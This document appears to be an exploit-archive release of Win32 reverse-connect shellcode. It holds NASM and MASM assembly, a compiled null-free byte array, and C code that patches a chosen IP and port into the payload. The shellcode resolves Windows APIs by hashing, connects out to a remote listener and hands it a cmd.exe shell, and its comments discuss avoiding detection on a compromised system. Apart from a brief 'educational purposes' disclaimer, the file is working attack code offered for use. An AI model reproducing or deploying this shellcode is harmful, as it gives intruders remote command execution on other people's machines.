ASM that provides a win32 reverse connect shell with no null bytes.
573d386784ec8abf184d1c6b7393baeeee3e4d801fa6b8cc6176368b18430fc6
; saludos a todos en EspaƱa
;
; win32 reverse connect shell, no null bytes
;
; nasm -fbin dx.asm
;
; assume: eax = offset @entry_point
;
[bits 32]
global @entry_point
@entry_point:
;int3
cdq
mov esp, eax
xor eax, eax
mov dl, (@get_proc_address - @entry_point)
lea ebp, [esp + edx]
mov dl, (@code_end - @get_proc_address)
mov esi, ebp
add esi, edx
mov dl, (@cmd_string - @get_proc_address) + 3
mov edi, ebp
add edi, edx
stosb
xor ecx, ecx
mov cl, 74h
sub esp, ecx
mov edi, esp
rep stosb
push byte 1
push byte 2
call ebp
xchg eax, ebx
mov eax, ~ 00100007Fh ; ip address set to NOT(localhost)
not eax
push eax
mov eax, ~ 0D2040002h ; port set to NOT(1234)
not eax
push eax
mov eax, esp
push byte 10h
push eax
push ebx
call ebp
add esp, byte 10h
push ebx
xchg eax, ebx
lea ebx, [edi-54h]
lea edi, [ebx+38h]
inc dword [ebx+2Dh]
cdq
stosd
stosd
stosd
push edi
push ebx
push edx
push edx
push edx
push eax
push edx
push edx
push esi
lodsd
push edx
call ebp
push -1
push dword [edi]
exit_code:
call ebp
jmp short exit_code
@get_proc_address:
lodsd
pusha
push byte 30h
pop ecx
mov eax, [fs:ecx]
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
;int3
load_dll:
lodsd
xchg eax, ebx
lodsd
lodsd
xchg eax, ebx
push eax
mov eax, [ebx+3Ch]
mov eax, [eax+ebx+78h]
lea esi, [eax+ebx+18h]
lodsd
xchg eax, ecx
lodsd
add eax, ebx
push eax
lodsd
lea edi, [ebx+eax]
lodsd
lea ebp, [ebx+eax]
load_api:
mov esi, [edi+ecx*4-4]
add esi, ebx
xor eax, eax
cdq
hash_api:
lodsb
add edx, eax
rol edx, 7
xor edx, eax
dec eax
jns short hash_api
cmp edx, [esp+24h]
jz short call_api
loop load_api
pop eax
pop esi
jmp short load_dll
call_api:
pop eax
movzx edx, word [ebp+ecx*2-2]
add ebx, [eax+edx*4]
pop esi
mov [esp+1Ch], ebx
popa
jmp eax
@code_end:
dd 087C1A5B2h
dd 0E49C80ECh
@cmd_string:
db 'cmd',0FFh
dd 01772DFFEh
dd 05338DA4Bh
dd 0A2CDED6Eh
dd 0DB93EB6Fh
comment ~
WSASocketA / connect
CreateProcess / WaitForSingleObject / ExitProcess | ExitThread
this example connects to a remote host, with a tcp/ip port
accepting connections - typically netcat - it then executes
CMD prompt.
the total size of the code using 32-bit hashes is 206 bytes,
196 for 16-bit hashes
while its possible to shave off 20 or more bytes, you lose some stability.
additionally, by not properly closing socket handles, you leak information
about your presence on a system.
this is only released for educational purposes.
uses the mighty Japheth win32inc files - http://www.japheth.de/
ml /coff /Cp /c /IC:\mkit\include rev_overlap32.asm
lib files are created with polib
example: polib /out:kernel32.lib C:\windows\system32\kernel32.lib
~
.386
.model flat,stdcall
;USE_16 equ 1
PUSHAD_STRUCT struc
_edi dd ?
_esi dd ?
_ebp dd ?
_esp dd ?
_ebx dd ?
_edx dd ?
_ecx dd ?
_eax dd ?
PUSHAD_STRUCT ends
ROL_CONSTANT equ 7
mrol macro iNum:req,iBits:req
exitm <(iNum shl iBits) or (iNum shr (32-iBits))>
endm
mror macro iNum:req,iBits:req
exitm <(iNum shr iBits) or (iNum shl (32-iBits))>
endm
hashapi macro szApi
local dwApi
dwApi = 0
forc x,szApi
dwApi = dwApi + '&x'
dwApi = mrol(dwApi,ROL_CONSTANT)
dwApi = dwApi xor '&x'
endm
dwApi = mrol(dwApi,ROL_CONSTANT)
IFDEF USE_16
dw (dwApi and 0ffffh)
ELSE
dd dwApi
ENDIF
endm
assume fs:nothing
include <windows.inc>
.data
wsa WSADATA <>
includelib <ws2_32.lib>
.code
main:
push offset wsa ; any exploited TCP/IP process should have
push 202h ; called this api already, so its not really
call WSAStartup ; required - here for testing purpose.
sub esp,100h ; allocate 256 bytes on stack
mov edi,esp
lea esi,[@entrypoint]
mov ecx,(@end_all - @entrypoint) ; size of code
rep movsb ; move into stack for execution
mov eax,esp
jmp eax ; execute code
;#######################################################################
STACK_SIZE EQU sizeof(PROCESS_INFORMATION) \
+ sizeof(STARTUPINFO) \
+ (6 + 2) * 4 ; null arguements to apis
@entrypoint: ; assuming that eax points to stack with code
;int 3
cdq ; edx = (eax < 0x80000000) ? 0 : -1
xchg eax,esp ; esp = @code
xchg eax,edx ; eax = 0
cdq ; edx = 0
mov dl,(@get_proc_address - @entrypoint)
lea ebp,[esp + edx] ; load address of our GetProcAddress
lea esi,[ebp + (@code_end - @get_proc_address)] ; load pointer to hashes
lea edi,[ebp + (@cmd_string - @get_proc_address) + 3] ; load cmd string
stosb
xchg eax,ecx ; ecx = 0
mov cl,STACK_SIZE
sub esp,ecx ; first, reserve stack space for api parameters
mov edi,esp ; store stack pointer in edi so we can use stosd instruction
rep stosb ; zero fill
push 1 ; SOCK_STREAM
push 2 ; AF_INET
call ebp ; WSASocketA
xchg eax,ebx ; save socket handle
mov eax,not 00100007fh ; remote host address : 127.0.0.1
not eax
push eax
mov eax,not 0D2040002h ; port number,AF_INET : 1234
not eax
push eax
mov eax,esp ; sockaddr_in
push 16 ; sizeof(sockaddr_in)
push eax ; &sin
push ebx ; s
call ebp ; connect
add esp,sizeof(sockaddr_in) ; free stack
push ebx ; close bound socket
xchg eax,ebx
lea ebx, [edi - ( sizeof(PROCESS_INFORMATION) + sizeof(STARTUPINFO) )]
lea edi, [ebx][STARTUPINFO.hStdInput]
inc dword ptr[ebx][STARTUPINFO.dwFlags+1]
cdq ; eax < 0x80000000
stosd ; si.hStdInput
stosd ; si.hStdOutput
stosd ; si.hStdError
push edi ; lpProcessInformation
push ebx ; lpStartupInfo
push edx ; lpCurrentDirectory
push edx ; lpEnvironment
push edx ; dwCreationFlags
push eax ; bInheritHandles
push edx ; lpThreadAttributes
push edx ; lpProcessAttributes
push esi ; lpCommandLine
lodsd ; skip string
push edx ; lpApplicationName
call ebp ; CreateProcessA
push -1 ; INFINITE
push dword ptr[edi][PROCESS_INFORMATION.hProcess]
exit_code:
call ebp ; WaitForSingleObject / closesocket / ExitProcess | ExitThread
jmp exit_code
; below code wasn't used, but left as reminder
; add esp,sizeof(PROCESS_INFORMATION) + sizeof(STARTUPINFO) ; free stack space
@get_proc_address:
IFDEF USE_16
lodsw ; advance 2 bytes to next hash
ELSE
lodsd ; advance 4 bytes to next hash
ENDIF
pushad ; save all registers
load_modules:
push 30h
pop ecx
mov eax,dword ptr fs:[ecx] ; PEB ProcessEnvironmentBlock
mov eax,[eax+0ch] ; PEB_LDR_DATA Ldr
mov esi,[eax+1ch] ; LIST_ENTRY InInitializationOrderModuleList
load_dll:
lodsd ; Flink
xchg eax,ebx
lodsd
lodsd ; DllBase
xchg eax,ebx
push eax ; save
mov eax,[ebx+3ch]
mov eax,[ebx+eax+78h] ; IMAGE_DIRECTORY_ENTRY_EXPORT
lea esi,[ebx+eax+18h] ; offset IMAGE_EXPORT_DIRECTORY.NumberOfNames
lodsd
xchg eax,ecx ; ecx = NumberOfNames
lodsd
add eax,ebx ; AddressOfFunctions
push eax
lodsd
lea edi,[eax+ebx] ; AddressOfNames
lodsd
lea ebp,[eax+ebx] ; ebp = AddressOfNameOrdinals
load_api:
mov esi,[edi+4*ecx-4]
add esi,ebx
xor eax,eax
cdq
hash_api:
lodsb ; get byte of api string
add edx,eax ; add to hash
rol edx,ROL_CONSTANT ; rotate bits
xor edx,eax
dec eax ; check if null byte
jns hash_api ; jump if eax != 0xFFFFFFFF
IFDEF USE_16
cmp dx,word ptr[esp+8][PUSHAD_STRUCT._eax] ; found a match?
ELSE
cmp edx,dword ptr[esp+8][PUSHAD_STRUCT._eax]
ENDIF
je call_api
loop load_api ; loop for number of api
pop eax ; AddressOfFunctions
pop esi ; next DLL
jmp load_dll
call_api:
pop eax ; AddressOfFunctions
movzx edx,word ptr [ebp+2*ecx-2] ; AddressOfNameOrdinals
add ebx,[eax+4*edx]
pop esi ; modules
mov [esp][PUSHAD_STRUCT._eax],ebx ; save address
popad
jmp eax ; goto address
; ***************************************************
@code_end:
hashapi <WSASocketA>
hashapi <connect>
@cmd_string:
db "cmd",0ffh
hashapi <CreateProcessA>
hashapi <WaitForSingleObject>
hashapi <closesocket>
hashapi <ExitThread>
@end_all:
end main
#define code_size 0x000000E4 // 228 bytes reverse connect
unsigned char asm_code[] =
{
0x99,0x89,0xC4,0x31,0xC0,0xB2,0x6A,0x8D,
0x2C,0x14,0xB2,0x5E,0x89,0xEE,0x01,0xD6,
0xB2,0x69,0x89,0xEF,0x01,0xD7,0xAA,0x31,
0xC9,0xB1,0x74,0x29,0xCC,0x89,0xE7,0xF3,
0xAA,0x6A,0x01,0x6A,0x02,0xFF,0xD5,0x93,
0xB8,0x80,0xFF,0xFF,0xFE,0xF7,0xD0,0x50,
0xB8,0xFD,0xFF,0xFB,0x2D,0xF7,0xD0,0x50,
0x89,0xE0,0x6A,0x10,0x50,0x53,0xFF,0xD5,
0x83,0xC4,0x10,0x53,0x93,0x8D,0x5F,0xAC,
0x8D,0x7B,0x38,0xFF,0x43,0x2D,0x99,0xAB,
0xAB,0xAB,0x57,0x53,0x52,0x52,0x52,0x50,
0x52,0x52,0x56,0xAD,0x52,0xFF,0xD5,0x68,
0xFF,0xFF,0xFF,0xFF,0xFF,0x37,0xFF,0xD5,
0xEB,0xFC,0xAD,0x60,0x6A,0x30,0x59,0x64,
0x8B,0x01,0x8B,0x40,0x0C,0x8B,0x70,0x1C,
0xAD,0x93,0xAD,0xAD,0x93,0x50,0x8B,0x43,
0x3C,0x8B,0x44,0x18,0x78,0x8D,0x74,0x18,
0x18,0xAD,0x91,0xAD,0x01,0xD8,0x50,0xAD,
0x8D,0x3C,0x03,0xAD,0x8D,0x2C,0x03,0x8B,
0x74,0x8F,0xFC,0x01,0xDE,0x31,0xC0,0x99,
0xAC,0x01,0xC2,0xC1,0xC2,0x07,0x31,0xC2,
0x48,0x79,0xF5,0x3B,0x54,0x24,0x24,0x74,
0x06,0xE2,0xE4,0x58,0x5E,0xEB,0xC1,0x58,
0x0F,0xB7,0x54,0x4D,0xFE,0x03,0x1C,0x90,
0x5E,0x89,0x5C,0x24,0x1C,0x61,0xFF,0xE0,
0xB2,0xA5,0xC1,0x87,0xEC,0x80,0x9C,0xE4,
0x63,0x6D,0x64,0xFF,0xFE,0xDF,0x72,0x17,
0x4B,0xDA,0x38,0x53,0x6E,0xED,0xCD,0xA2,
0x6F,0xEB,0x93,0xDB
};
unsigned long resolve(char *hostname)
{
unsigned long ip = inet_addr(hostname);
if (ip == 0xFFFFFFFF || (ip == 0 && hostname[0] != '0')) {
struct hostent *h = gethostbyname(hostname);
if (h != NULL)
ip = *(unsigned long *)h->h_addr_list[0];
}
return (ip == 0xFFFFFFFF) ? 0 : ip;
}
// get hostname + port number
if( ( local_ip = ~resolve((char*)argv[2])) == 0) {
printf("\nCould not resolve %s",argv[2]);
goto close_socket;
}
if( ( local_port = ~htons( atoi(argv[3]))) == 0) {
printf("\nBad port number %s",argv[3]);
goto close_socket;
}
// move parameters into shellcode
memcpy(&asm_code[41],&local_ip,4);
memcpy(&asm_code[51],&local_port,2);
#